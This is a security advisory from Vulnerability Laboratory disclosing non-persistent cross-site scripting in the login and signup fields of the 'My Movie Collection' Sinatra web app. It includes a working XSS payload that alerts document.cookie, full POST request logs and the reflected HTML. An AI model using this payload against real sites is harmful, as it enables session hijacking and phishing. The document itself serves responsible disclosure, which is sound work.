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My Movie Collection Sinatra App Login Cross Site Scripting

My Movie Collection Sinatra App Login Cross Site Scripting
Posted Nov 1, 2021
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

My Movie Collection Sinatra App suffers from Login related cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 0415c91c89a99ffc945414f9ecd4300bf0b514cf7a4bf63ed7dc5998a4cd0186

My Movie Collection Sinatra App Login Cross Site Scripting

Change Mirror Download
Document Title:
===============
My Movie Collection Sinatra App - (Login) XSS Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2293


Release Date:
=============
2021-11-01


Vulnerability Laboratory ID (VL-ID):
====================================
2293


Common Vulnerability Scoring System:
====================================
5.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Welcome to My Movie Collection Sinatra web app where you can create, read, update, and delete movies that you own.
Here you can build and keep track of your DVD/Blu-Ray collection. You can also add movie comments and date purchased.
The code is available as open source under the terms of the MIT License.

(Copy of the Homepage:https://github.com/jffernan/my-movie-collection )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the My Movie Collection Sinatra web-application.


Affected Product(s):
====================
James Fernandez
Product: My Movie Collection Sinatra app (v2017 & v2018)- Video Application (Web-Application) (Ruby)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-11-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
Multiple non-persistent cross site web vulnerabilities has been discovered in the official My Movie Collection Sinatra web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests by the client-side.

The non-persistent cross site scripting web vulnerabilities are located in the username and password input fields of the login and signup module.
Unauthenticated remote attackers are able to process manipulated post method requests for logins or signup to inject own malicious script code
with non-persistent attack vector. The request method to inject is post and the attack vector is located on the client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./login
[+] ./signup

Vulnerable Input(s):
[+] Username
[+] Password

Vulnerable Parameter(s):
[+] username
[+] password


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
"><img src="evil.source" onload="alert(document.cookie)" <


--- PoC Session Logs (POST) ---
https://sinatra-my-movie-collection.localhost:8000/login
Host: sinatra-my-movie-collection.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Origin:https://sinatra-my-movie-collection.localhost:8000
Connection: keep-alive
Referer:https://sinatra-my-movie-collection.localhost:8000/login
Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVm
NGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg
10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiG
UhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0A--0b309977af0b38c2447b5de4853c1057e744939c
username="><img src="evil.source" onload="alert(document.cookie)" <&password="><img src="evil.source" onload="alert(document.cookie)" <
-
POST: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Location:https://sinatra-my-movie-collection.localhost:8000/
Content-Length: 0
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)
-
https://sinatra-my-movie-collection.localhost:8000/evil.source
Host: sinatra-my-movie-collection.localhost:8000
Accept: image/webp,*/*
Connection: keep-alive
Referer:https://sinatra-my-movie-collection.localhost:8000/signup
Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVmN
GZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg10
cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiGUh
UVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpAj
oC%0A--1380e0331772015e3a17a365d51a8ec2ef977a09
-
GET: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)


Vulnerable Source: Signup / Login (nav)
<html><head>
<title>My Movie Collection</title>
</head>
<body><nav>
<a href="/movies/new">Enter new movie</a>
<a href="/movies">See your movies</a>
<a href="/logout">Logout</a>
<h3>Welcome, "><img src="evil.source" onload="alert(document.cookie)" <!="" <!--capitalize="" 1st="" letter="" of="" username--="">
</h3></nav>


Reference(s):
https://sinatra-my-movie-collection.localhost:8000/login
https://sinatra-my-movie-collection.localhost:8000/signup


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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